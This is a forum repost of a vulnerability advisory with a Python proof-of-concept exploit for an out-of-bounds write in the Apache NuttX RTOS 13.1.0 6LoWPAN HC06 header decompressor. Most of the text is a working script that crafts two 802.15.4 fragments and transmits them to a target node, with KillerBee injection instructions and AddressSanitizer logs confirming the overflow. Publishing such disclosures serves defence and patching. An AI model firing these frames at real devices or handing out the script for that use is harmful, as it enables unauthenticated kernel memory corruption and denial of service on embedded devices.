Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!

Apache NuttX RTOS 13.1.0 6LoWPAN HC06 Decompressor Kernel Out-of-Bounds Write

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
1.120
667
www.zeroscience.mk
Python:
#!/usr/bin/env python
#
#
# Apache NuttX RTOS 13.1.0 6LoWPAN HC06 Decompressor Kernel Out-of-Bounds Write
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://nuttx.apache.org
# Affected version: 13.1.0
#
# Summary: Apache NuttX is a free and open-source (FOSS) real-time operating
# system (RTOS) with an emphasis on standards compliance and small footprint.
# Scalable from 8-bit to 64-bit microcontroller environments, the primary governing
# standards in NuttX are POSIX and ANSI standards. Additional standard APIs
# from Unix and other common RTOS's (such as VxWorks) are adopted for functionality
# not available under these standards, or for functionality that is not appropriate
# for deeply-embedded environments (such as fork()).
#
# Desc: Apache NuttX RTOS contains an out-of-bounds write in the 6LoWPAN RFC
# 6282 (IPHC/HC06) header decompressor in net/sixlowpan/sixlowpan_hc06.c. The
# HC06 compressor guards all UDP handling with #ifdef CONFIG_NET_UDP, but the
# decompressor sixlowpan_uncompresshdr_hc06() has no such guard: its UDP-NHC
# (next-header compression) reconstruction is compiled unconditionally and writes
# a reconstructed UDP header at the fixed offset bptr + IPv6_HDRLEN (the destination
# buffer start + 40 bytes). For a subsequent-fragment (FRAGN) frame, net/sixlowpan/sixlowpan_input.c
# sets that destination to the static buffer g_bitbucket, whose size UNCOMP_MAXHDR
# is derived from the configured transport protocols (IPv6_HDRLEN + TCP/UDP/ICMPv6
# header length, or IPv6_HDRLEN alone when none is enabled). Because NET_6LOWPAN
# depends only on NET_IPv6 and HC06 has no UDP dependency in Kconfig, a build
# may enable HC06 while leaving UDP and TCP disabled; UNCOMP_MAXHDR is then 44
# bytes (ICMPv6 only) or 40 bytes (none), smaller than the 48 bytes the UDP-header
# write requires.
#
# An on-link attacker on the 802.15.4 / packet-radio network (no authentication)
# sends a valid first fragment (FRAG1) to allocate the reassembly state, then a
# crafted subsequent fragment (FRAGN) whose continuation bytes form an IPHC dispatch
# with the next-header-compressed bit set and a UDP-NHC pattern. The decompressor
# runs against g_bitbucket and writes the attacker-controlled UDP source/destination
# ports and checksum 2 to 6 bytes past the end of the static buffer, corrupting
# adjacent kernel .bss memory. This can result is memory corruption and a likely
# crash.
#
# Tested on: Kali Linux (x86-64)
#            gcc 14.2.0
#            libasan
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6019
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6019
#
#
# 13.10.2026
#


import ctypes.util
import ctypes#////
import socket#////
import struct#////
import os#////////
import sys#///////

r"""
CWE-787 out-of-bounds write in net/sixlowpan/sixlowpan_hc06.c (sixlowpan_uncompresshdr_hc06).
Vulnerable targets: a NuttX node on the 802.15.4 / 6LoWPAN link built with
CONFIG_NET_6LOWPAN_COMPRESSION_HC06=y  and  CONFIG_NET_UDP / CONFIG_NET_TCP UNSET.
(Enabling UDP or TCP grows g_bitbucket to 48 bytes - enough to hold the reconstructed UDP header - so the
write stays in bounds; only builds with BOTH disabled are vulnerable.)

How it works - two frames, no auth, link-local:
  1. FRAG1  : a well-formed RFC-4944 first fragment that makes the target allocate a reassembly node
              (keyed on datagram tag + our source address).
  2. FRAGN  : a crafted subsequent fragment. sixlowpan_input routes FRAGN decompression output to the
              fixed-size static buffer g_bitbucket, and our continuation bytes form an RFC-6282 IPHC header
              with NH=1 + a UDP-NHC dispatch. The decompressor reconstructs a UDP header at g_bitbucket +
              IPv6_HDRLEN (offset 40), writing our ports+checksum 2..8 bytes past the end of the 40/44-byte
              buffer -> kernel .bss corruption -> crash / DoS on the device.

Delivery: a real IEEE 802.15.4 DGRAM socket (AF_IEEE802154) via ctypes - the kernel frames the MAC header
and transmits our 6LoWPAN payload exactly as a peer node would. No scapy, stdlib only. Needs a configured
802.15.4 interface (real transceiver or mac802154_hwsim) and CAP_NET_RAW (run as root). If the socket path
is unavailable, the crafted frames are written to .bin for a hardware injector (KillerBee kbsendp, etc.).
"""

# ============================ target ============================
IFACE       = "wpan0"      # local 802.15.4 interface used to transmit
PANID       = 0xabcd       # target PAN id
DST_SHORT   = 0x0001       # target node short address
# ======================= 6LoWPAN datagram =======================
DGRAM_SIZE  = 96           # RFC-4944 datagram size (FRAG1 and FRAGN must agree)
DGRAM_TAG   = 0x1234       # reassembly tag         (FRAG1 and FRAGN must agree)
FRAGN_OFF   = 1            # FRAGN datagram offset, 8-byte units (irrelevant to the overflow)
# ============ attacker bytes that land past g_bitbucket =========
SRCPORT     = b"\xde\xad"  # -> g_bitbucket[40..42]
DSTPORT     = b"\xbe\xef"  # -> g_bitbucket[42..44]
CHKSUM      = b"\xca\xfe"  # -> g_bitbucket[46..48]   (first OOB byte on a 44-byte buffer)

# --- RFC-4944 fragmentation dispatch (include/nuttx/net/sixlowpan.h) ---
FRAG1_DISP, FRAGN_DISP = 0xc0, 0xe0
# --- RFC-6282 IPHC header tuned to reach the UDP-NHC block with zero inline address bytes ---
#   iphc0 = IPHC(0x60) | TC elided(0x18) | NH compressed(0x04) | HLIM=64(0x02) = 0x7e
#   iphc1 = SAM_0(0x30) | DAM_0(0x03)                                          = 0x33  (addrs from MAC)
#   nhc   = UDP ID(0xf0), CS_P_00 (all ports inline), checksum included
IPHC0, IPHC1, NHC = 0x7e, 0x33, 0xf0

def iphc_packet():
    """The compressed 'IPv6 packet' the fragment carries. The source-address path does
    HC06_CHECK(g_hc06ptr, 16, endofframe) at iphc[2]; SAM_0 consumes no inline bytes, so we pad to keep
    >= 16 bytes available from iphc[2] (harmless trailing bytes the UDP block never reads)."""
    core = bytes([IPHC0, IPHC1, NHC]) + SRCPORT + DSTPORT + CHKSUM
    return core + b"\x00" * (2 + 18 - len(core))


def frag1(p):
    return bytes([FRAG1_DISP | ((DGRAM_SIZE >> 8) & 7), DGRAM_SIZE & 0xff,
                  (DGRAM_TAG >> 8) & 0xff, DGRAM_TAG & 0xff]) + p


def fragn(p):
    return bytes([FRAGN_DISP | ((DGRAM_SIZE >> 8) & 7), DGRAM_SIZE & 0xff,
                  (DGRAM_TAG >> 8) & 0xff, DGRAM_TAG & 0xff, FRAGN_OFF & 0xff]) + p


# ------------------- real AF_IEEE802154 sender (ctypes, no scapy) -------------------
AF_IEEE802154         = 36
IEEE802154_ADDR_SHORT = 2

class _AddrU(ctypes.Union):
    _fields_ = [("hwaddr", ctypes.c_uint8 * 8), ("short_addr", ctypes.c_uint16)]

class ieee802154_addr_sa(ctypes.Structure):
    _fields_ = [("addr_type", ctypes.c_int), ("pan_id", ctypes.c_uint16), ("u", _AddrU)]

class sockaddr_ieee802154(ctypes.Structure):          # include/net/af_ieee802154.h
    _fields_ = [("family", ctypes.c_uint16), ("addr", ieee802154_addr_sa)]


def deliver(frames):
    """Transmit each 6LoWPAN payload as an 802.15.4 data frame to DST_SHORT@PANID over IFACE.
    The kernel 802.15.4 stack builds the MAC header; we supply the adaptation-layer bytes - exactly the
    on-air frame a peer 6LoWPAN node would send to the target's sixlowpan_input()."""
    try:
        s = socket.socket(AF_IEEE802154, socket.SOCK_DGRAM)
    except OSError as e:
        print("[-] AF_IEEE802154 socket unavailable (%s)" % e); return False

    dst = sockaddr_ieee802154()
    dst.family            = AF_IEEE802154
    dst.addr.addr_type    = IEEE802154_ADDR_SHORT
    dst.addr.pan_id       = PANID
    dst.addr.u.short_addr = DST_SHORT

    libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
    try:
        s.bind((IFACE,))
    except Exception:
        pass
    ok = True
    for name, buf in frames:
        n = libc.sendto(s.fileno(), buf, len(buf), 0, ctypes.byref(dst), ctypes.sizeof(dst))
        if n == len(buf):
            print("[+] sent %-5s -> %04x@%04x on %s (%d bytes)" % (name, DST_SHORT, PANID, IFACE, n))
        else:
            print("[-] send %s failed: %s" % (name, os.strerror(ctypes.get_errno()))); ok = False
    s.close()
    return ok

def save(name, data):
    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), name)
    open(path, "wb").write(data)
    print("    %-22s %s" % (name, data.hex()))


BANNAH = r"""
       /\
      /  \
     / /\ \         Apache NuttX RTOS v13.1.0
    / /  \ \        6LoWPAN HC06 Decompressor
   / /    \ \       Kernel Out-of-Bounds Write
  / /  /\  \ \
 / /  /  \  \ \         ID: ZSL-2026-6019
 \ \  \  /  / /         
  \ \  \/  / /       https://zeroscience.mk
   \ \    / /
    \ \  / /
     \ \/ /
      \  /
       \/
"""

if __name__ == "__main__":
    print(BANNAH)
    p  = iphc_packet()
    f1 = frag1(p)
    fn = fragn(p)

    print("[*] target: node %04x  pan %04x  via %s" % (DST_SHORT, PANID, IFACE))
    print("[*] payload: iphc0=%#x iphc1=%#x nhc=%#x  ports=%s/%s cksum=%s"
          % (IPHC0, IPHC1, NHC, SRCPORT.hex(), DSTPORT.hex(), CHKSUM.hex()))
    print("[*] frames:")
    save("hc06_frag1.bin", f1)
    save("hc06_fragn.bin", fn)

    print("[*] firing over the 802.15.4 link ...")
    if not deliver([("FRAG1", f1), ("FRAGN", fn)]):
        print("[-] over-the-air send unavailable; inject the saved .bin with a PHY tool, e.g.:")
        print("      kbsendp hc06_frag1.bin ; kbsendp hc06_fragn.bin   (KillerBee)")
        sys.exit(1)

    print("[+] delivered. On a vulnerable build the FRAGN overflows g_bitbucket+40 with"
          " %s%s%s -> kernel .bss corruption / crash." % (SRCPORT.hex(), DSTPORT.hex(), CHKSUM.hex()))

"""
=== Apache NuttX 6LoWPAN HC06 decompressor OOB write - ASan repro (2026-10-13T15:29:47Z) ===
source: https://raw.githubusercontent.com/apache/nuttx/nuttx-13.1.0/net/sixlowpan/sixlowpan_hc06.c

----- g_bitbucket size 48 : CONTROL (UDP/TCP build) - expected SAFE -----
[*] calling real sixlowpan_uncompresshdr_hc06() with g_bitbucket size = 48
    (UDP header will be written at bptr+40; udpchksum at bptr+46)
[+] decompressor returned 0, g_uncomp_hdrlen=48 -- write stayed in bounds (size=48 SAFE)
   -> clean (rc=0), as expected

----- g_bitbucket size 44 : ICMPv6-only, no UDP/TCP - expected OOB WRITE -----
[*] calling real sixlowpan_uncompresshdr_hc06() with g_bitbucket size = 44
    (UDP header will be written at bptr+40; udpchksum at bptr+46)
=================================================================
==181160==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b95d9be003e at pc 0x5597257c2693 bp 0x7ffcfffe9d10 sp 0x7ffcfffe9d08
WRITE of size 2 at 0x7b95d9be003e thread T0
    #0 0x5597257c2692 in sixlowpan_uncompresshdr_hc06 /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1142
    #1 0x5597257c30ac in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:45
    #2 0x7f55da831f76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #3 0x7f55da832026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #4 0x5597257c01b0 in _start (/home/lqwrm/nuttx/hc06_asan_build/hc06_asan+0x21b0) (BuildId: 6383258d4e97d06e47d627a17d8e303fae4ac08f)

0x7b95d9be003e is located 2 bytes after 44-byte region [0x7b95d9be0010,0x7b95d9be003c)
allocated by thread T0 here:
    #0 0x7f55dab2435f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x5597257c3006 in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:38
    #2 0x7f55da831f76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #3 0x7ffcfffec1b6  (<unknown module>)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1142 in sixlowpan_uncompresshdr_hc06
Shadow bytes around the buggy address:
  0x7b95d9bdfd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b95d9bdfe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b95d9bdfe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b95d9bdff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b95d9bdff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7b95d9be0000: fa fa 00 00 00 00 00[04]fa fa fa fa fa fa fa fa
  0x7b95d9be0080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7b95d9be0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7b95d9be0180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7b95d9be0200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7b95d9be0280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==181160==ABORTING
   -> ASan reported heap-buffer-overflow (rc=99) - OOB WRITE CONFIRMED

----- g_bitbucket size 40 : no UDP/TCP/ICMPv6 - expected OOB WRITE (worse) -----
[*] calling real sixlowpan_uncompresshdr_hc06() with g_bitbucket size = 40
    (UDP header will be written at bptr+40; udpchksum at bptr+46)
=================================================================
==181168==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bf61cfe0038 at pc 0x562a82c23e41 bp 0x7ffdefaf5bb0 sp 0x7ffdefaf5ba8
WRITE of size 2 at 0x7bf61cfe0038 thread T0
    #0 0x562a82c23e40 in sixlowpan_uncompresshdr_hc06 /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1065
    #1 0x562a82c250ac in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:45
    #2 0x7fb61dc31f76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #3 0x7fb61dc32026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #4 0x562a82c221b0 in _start (/home/lqwrm/nuttx/hc06_asan_build/hc06_asan+0x21b0) (BuildId: 6383258d4e97d06e47d627a17d8e303fae4ac08f)

0x7bf61cfe0038 is located 0 bytes after 40-byte region [0x7bf61cfe0010,0x7bf61cfe0038)
allocated by thread T0 here:
    #0 0x7fb61df2435f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x562a82c25006 in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:38
    #2 0x7fb61dc31f76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #3 0x7ffdefaf81b6  (<unknown module>)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1065 in sixlowpan_uncompresshdr_hc06
Shadow bytes around the buggy address:
  0x7bf61cfdfd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bf61cfdfe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bf61cfdfe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bf61cfdff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bf61cfdff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7bf61cfe0000: fa fa 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
  0x7bf61cfe0080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bf61cfe0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bf61cfe0180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bf61cfe0200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bf61cfe0280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==181168==ABORTING
   -> ASan reported heap-buffer-overflow (rc=99) - OOB WRITE CONFIRMED
"""



 
— членови онлајн
—мислења
—теми
—членови

Последни огласи

IT.mk/market понуда

Бесплатна достава на 3000 производи
На врв Дно